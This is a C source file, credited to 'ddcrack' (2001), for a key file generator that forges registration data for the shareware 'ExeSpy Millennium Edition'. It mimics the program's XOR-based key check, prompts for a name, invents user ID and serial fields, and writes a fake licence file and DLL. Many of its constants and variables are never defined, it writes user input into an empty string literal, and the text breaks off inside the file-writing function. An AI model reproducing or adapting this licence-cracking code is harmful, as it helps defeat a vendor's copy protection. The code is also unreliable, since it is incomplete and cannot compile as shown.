#define addr_004256E0 0x006BE048 /* one of XOR factors, can be any value */

#include <stdio.h>
#include <string.h>
#include <conio.h>
#include <stdlib.h>
#include <time.h>

void main(void)
{
unsigned char key_file[]=
{'S','P','Y','2',0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,/*encoded data start addr: ebp+0x00*/
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,/* addr offset: 0x014 */
0x00,0x00,0x00,0x00,/* XOR_NO=1 */
0x00,0x00,0x00,0x00,/* XOR_NO=2 */
0x00,0x00,0x00,0x00,/* XOR_NO=3 */
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,/* XOR_NO=A3 */
0x00,0x00,0x00,0x00,/* XOR_NO=A4 */
0x00,0x00,0x00,0x00,/* XOR_NO=A5 */
0x00,0x00,0x00,0x00,/* first */ /*Next_XOR_Factor1=first^addr_004256E8+second^addr_004256E4+third^addr_004256E0 */
0x00,0x00,0x00,0x00,/* second */
0x00,0x00,0x00,0x00,/* third */
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,/* new addr offset1: 0x14+000002B8 */
0x00,0x00,0x00,0x00,/* XOR_NO=1 */
0x00,0x00,0x00,0x00,/* XOR_NO=2 */
0x00,0x00,0x00,0x00,/* XOR_NO=3 */
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,/* XOR_NO=A3 */
0x00,0x00,0x00,0x00,/* XOR_NO=A4 */
0x00,0x00,0x00,0x00,/* XOR_NO=A5 */
0x00,0x00,0x00,0x00,/* first */ /*Next_XOR_Factor2=(first^addr_004256E8)^(second^addr_004256E4)+third^addr_004256E0 */
0x00,0x00,0x00,0x00,/* second */
0x00,0x00,0x00,0x00,/* third */
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,/* new addr offset2: 0x14+000002B8+000002B8 */
0x00,0x00,0x00,0x00,/* XOR_NO=1 */
0x00,0x00,0x00,0x00,/* XOR_NO=2 */
0x00,0x00,0x00,0x00,/* XOR_NO=3 */
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,/* XOR_NO=A3 */
0x00,0x00,0x00,0x00,/* XOR_NO=A4 */
0x00,0x00,0x00,0x00,/* XOR_NO=A5 */
'T','H','E','E','N','D'};

const unsigned char * Program_name="ExeSpy Millennium Edition for Windows ME/98/95";
const unsigned char * key_name=".\\EXEMEUR.DAT";
const unsigned char * SN_Header="PD";
const unsigned char * SN_Tail="ES";
unsigned char * Username="";

void put_dword_value();
unsigned long get_dword_value();
void create_key_file();
void create_dll_file();
void data_encryptor();

unsigned long eax,edx,temp,XOR_Factor,XOR_NO,User_ID;
unsigned char i,dword_count;
unsigned char * pkey,* p1,* p2;

unsigned char char_data[0x40]=
{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};

randomize();

/* XOR_Factor can not equal to 0x00000000 or 0x00000001 */
/* Here assume [key_file+0x0C]=addr_004256E8,[key_file+0x10]=addr_004256E4,[key_file+0x14]=random number */
temp=addr_004256E8;
put_dword_value(temp,key_file+0x0C);
temp=random(65536);
if((temp^addr_004256E4)<=1) temp+=2;
put_dword_value(temp,key_file+0x10);
temp=addr_004256E0;
put_dword_value(temp,key_file+0x14);
XOR_Factor=(get_dword_value(key_file+0x0C)^addr_004256E8)^(get_dword_value(key_file+0x10)^addr_004256E4)^(get_dword_value(key_file+0x14)^addr_004256E0);
/* then, XOR_Factor=addr_004256E4^random(65536) */

 /* think about next calculator */
/*    eax=get_dword_value(key_file+0x04);
eax^=get_dword_value(key_file+0x08);
if(eax&0x80000000) edx=0xFFFFFFFF;
else edx=0x00000000;
edx&=0x03;
eax+=edx;
eax=eax>>0x02;
eax+=0x06; */
/* now eax must less than 0x00002800 */
/* so, here assume [key_file+0x04]=[key_file+0x08], then
    eax=0x06 */
temp=(unsigned long)random(65536);
put_dword_value(temp,key_file+0x04);
put_dword_value(temp,key_file+0x08);

eax=get_dword_value(key_file+0x04);
eax^=get_dword_value(key_file+0x08);
if(eax&0x80000000) edx=0xFFFFFFFF;
else edx=0x00000000;
edx&=0x03;
eax+=edx;
eax=eax>>0x02;
eax+=0x06;

/* think about next calculator */
/*    temp=eax;
eax=get_dword_value(key_file+(unsigned char)temp*0x04);
if(eax&0x80000000) edx=0xFFFFFFFF;
else edx=0x00000000;
edx&=0x03;
eax+=edx;
eax=eax>>0x02;
edx=eax+temp+1;*/
/* now edx must less than 0x00002800  more than 0x00000000*/
/* because temp=0x06, so here assume [key_file+0x04*6]=[key_file+0x18]=0,
    then edx=0x07 */
temp=0x00000000;
put_dword_value(temp,key_file+(unsigned char)eax*0x04);

temp=eax;
eax=get_dword_value(key_file+(unsigned char)temp*0x04);
if(eax&0x80000000) edx=0xFFFFFFFF;
else edx=0x00000000;
edx&=0x03;
eax+=edx;
eax=eax>>0x02;
edx=eax+temp+1;

/* think about next calculator */
/*    temp=edx;
eax=get_dword_value(key_file+(unsigned char)temp*0x04);
edx=eax+temp+1; */
/* now edx must less than 0x00002800 and more than 0x00000000*/
/* because temp=0x07, so here assume [key_file+0x04*7]=[key_file+0x1C]=0,
    then edx=0x08 */
temp=0x00000000;
put_dword_value(temp,key_file+(unsigned char)edx*0x04);

/* Now ebp=key_file+edx*0x04+0x04 */

clrscr();
printf("\n************************************************************************\n");
printf("ExeSpyME Key File Generator\n");
printf("Author: ddcrack ( 2001/10/08 )\n");
printf("************************************************************************\n\n");

/* -------------- create "ExeSpy Millennium Edition for Windows ME/98/95"
    --------------------*/

temp=0x00000000;

for(i=0;i<(unsigned char)strlen(Program_name);i++) char_data[i]=*(Program_name+i);
dword_count=strlen(Program_name)/4+1;
for(i=strlen(Program_name);i<(strlen(Program_name)+4-strlen(Program_name)%4);i++)
    char_data[i]=0x00;
XOR_NO=(0x18-0x14)/4;
pkey=&key_file[edx*4+0x04+0x18];
data_encryptor(char_data,dword_count,XOR_Factor,XOR_NO,pkey,temp);

/* -------------- create "ExeSpy Millennium Edition for Windows ME/98/95"
    end--------------------*/

/* -------------- create Free_update_date and ".\EXEMEUR.DAT" --------------------*/
temp=Free_year-0x07CD;
temp=temp<<4;
temp=temp|Free_month;
temp=temp<<5;
temp=temp|Free_day;
temp=temp<<5;
temp=temp|Free_hour;
temp=temp<<6;
temp=temp|Free_minute;
temp=temp<<6;
temp=temp|Free_second;

put_dword_value(temp,char_data);
temp=0x00000000;
for(i=0;i<(unsigned char)strlen(key_name);i++) char_data[i+4]=*(key_name+i);
dword_count=strlen(key_name)/4+1+1;
for(i=(strlen(key_name)+4);i<(strlen(key_name)+4+4-strlen(key_name)%4);i++)
    char_data[i]=0x00;
XOR_NO=(0x5C-0x14)/4;
pkey=&key_file[edx*4+0x04+0x5C];
data_encryptor(char_data,dword_count,XOR_Factor,XOR_NO,pkey,temp);

/* -------------- create Free_update_date and ".\EXEMEUR.DAT" end--------------------*/

/* -----set value of addr ebp+260, ebp+264 and ebp+268------*/
temp=VersionEx;
put_dword_value(temp,char_data);
User_ID=random(50000)*20;
                /* User_ID has six digits */
put_dword_value(User_ID,char_data+0x04);
temp=Reg_Type;
put_dword_value(temp,char_data+0x08);

temp=0x00000000;
dword_count=3;
XOR_NO=(0x260-0x14)/4;
pkey=&key_file[edx*4+0x04+0x260];
data_encryptor(char_data,dword_count,XOR_Factor,XOR_NO,pkey,temp);

/* -----set value of addr ebp+260, ebp+264 and ebp+268 end------*/

/* -----set value of addr ebp+160 : Username ------*/
printf("Input your name : ");
scanf("%s",Username);

temp=0x00000000;
for(i=0;i<(unsigned char)strlen(Username);i++) char_data[i]=*(Username+i);
dword_count=strlen(Username)/4+1;
for(i=strlen(Username);i<(strlen(Username)+4-strlen(Username)%4);i++)
    char_data[i]=0x00;
XOR_NO=(0x160-0x14)/4;
pkey=&key_file[edx*4+0x04+0x160];
data_encryptor(char_data,dword_count,XOR_Factor,XOR_NO,pkey,temp);

/* -----set value of addr ebp+160 : Username end------*/

/* -----set value of addr ebp+26C/ebp+28C : S_N head/tail ------*/
temp=get_dword_value(&key_file[edx*4+0x04+0x268]);

for(i=0;i<(unsigned char)strlen(SN_Header);i++) char_data[i]=*(SN_Header+i);
dword_count=strlen(SN_Header)/4+1;
for(i=strlen(SN_Header);i<(strlen(SN_Header)+4-strlen(SN_Header)%4);i++)
    char_data[i]=0x00;
XOR_NO=(0x26C-0x14)/4;
pkey=&key_file[edx*4+0x04+0x26C];
data_encryptor(char_data,dword_count,XOR_Factor,XOR_NO,pkey,temp);

temp=0x00000000;
for(i=0;i<(unsigned char)strlen(SN_Tail);i++) char_data[i]=*(SN_Tail+i);
dword_count=strlen(SN_Tail)/4+1;
for(i=strlen(SN_Tail);i<(strlen(SN_Tail)+4-strlen(SN_Tail)%4);i++)
    char_data[i]=0x00;
XOR_NO=(0x28C-0x14)/4;
pkey=&key_file[edx*4+0x04+0x28C];
data_encryptor(char_data,dword_count,XOR_Factor,XOR_NO,pkey,temp);

/* -----set value of addr ebp+26C/ebp+28C : S_N head/tail end------*/

/* -----set value of addr ebp+0x00, ebp+0x04, ebp+0x08, 0x0C ------ */

/* each value can not equal to 0x00000000 */

pkey=&key_file[edx*4+0x04];

temp=Version;
put_dword_value(temp,pkey);
temp=0x00000001;
put_dword_value(temp,pkey+0x04); /* let [ebp+0x04]=0x00000001
    */
temp=0x00000001;
put_dword_value(temp,pkey+0x08); /* let [ebp+0x08]=0x00000001
    */
temp=0x00000001;
put_dword_value(temp,pkey+0x0C); /* let [ebp+0x0C]=0x00000001
    */

/* -----set value of Next_XOR_Factor1 ------*/

pkey=&key_file[edx*0x04+0x04+0x02AC];

/*  Next_XOR_Factor1=[pkey+0x00]=([pkey+0x04]^addr_004256E8)+([pkey+0x08]^addr_004256E4)+([pkey+0x0C]^addr_004256E0)
    */
/*  here let us make Next_XOR_Factor1=XOR_Factor
    */

temp=addr_004256E8;
put_dword_value(temp,pkey+0x00); /* first */
temp=get_dword_value(key_file+0x10);
put_dword_value(temp,pkey+0x04); /* second */
temp=addr_004256E0;
put_dword_value(temp,pkey+0x08); /* third */

/* -----set value of Next_XOR_Factor1 end------*/

/* -----set value of Next_XOR_Factor2 ------*/

pkey=&key_file[edx*0x04+0x04+0x02AC+0x02B8];

/*  Next_XOR_Factor2=[pkey+0x00]=([pkey+0x04]^addr_004256E8)^([pkey+0x08]^addr_004256E4)+([pkey+0x0C]^addr_004256E0)
    */
/*  here let us make Next_XOR_Factor2=XOR_Factor
    */

temp=addr_004256E8;
put_dword_value(temp,pkey+0x00); /* first */
temp=get_dword_value(key_file+0x10);
put_dword_value(temp,pkey+0x04); /* second */
temp=addr_004256E0;
put_dword_value(temp,pkey+0x08); /* third */

/* -----set value of Next_XOR_Factor2 end------*/

p1=&key_file[edx*4+0x04+0x14];
p2=&key_file[edx*4+0x04+0x14+0x02B8];
for(i=0;i<=0xA5;i++) put_dword_value(get_dword_value(p1+i*4),p2+i*4);

p1=&key_file[edx*4+0x04+0x14];
p2=&key_file[edx*4+0x04+0x14+0x02B8+0x02B8];
for(i=0;i<=0xA5;i++) put_dword_value(get_dword_value(p1+i*4),p2+i*4);

create_key_file(key_file);
create_dll_file(key_file+0x20+0x14,XOR_Factor);

getch();
}

unsigned long get_dword_value(addr)
unsigned char * addr;
{
unsigned long number=0;

number=*(addr+3);
number=number<<0x08;
number=number|*(addr+2);
number=number<<0x08;
number=number|*(addr+1);
number=number<<0x08;
number=number|*addr;
return number;
}

void put_dword_value(number,addr)
unsigned char * addr;
unsigned long number;
{
unsigned char al=0;

al=(unsigned char)(number&0x000000FF);
*(addr+0)=al;
al=(unsigned char)((number&0x0000FF00)>>0x08);
*(addr+1)=al;
al=(unsigned char)((number&0x00FF0000)>>0x10);
*(addr+2)=al;
al=(unsigned char)((number&0xFF000000)>>0x18);
*(addr+3)=al;
}

void data_encryptor(char_data,dword_count,XOR_Factor,XOR_NO,pkey,forward_data)
unsigned char * char_data;
unsigned char dword_count;
unsigned long XOR_Factor;
unsigned long XOR_NO;
unsigned char * pkey;
unsigned long forward_data;
{
void put_dword_value();
unsigned long get_dword_value();

unsigned long temp;
unsigned char i;

temp=forward_data;
put_dword_value(temp,pkey-0x04);
for(i=0;i<dword_count;i++)
{
temp=get_dword_value(pkey+0x04*i-0x04)^get_dword_value(char_data+0x04*i)^XOR_Factor^(XOR_NO+i);
put_dword_value(temp,pkey+0x04*i);
}
}

void create_key_file(key_file)
unsigned char key_file[];
{
FILE *fp;
int i=0;
unsigned char * file_name=key_file_name;

if((fp=fopen(file_name,"wb+"))==NULL)
{
printf("\nCan not create %s !\n",file_name);
exit(0);
}
for(;;)
{
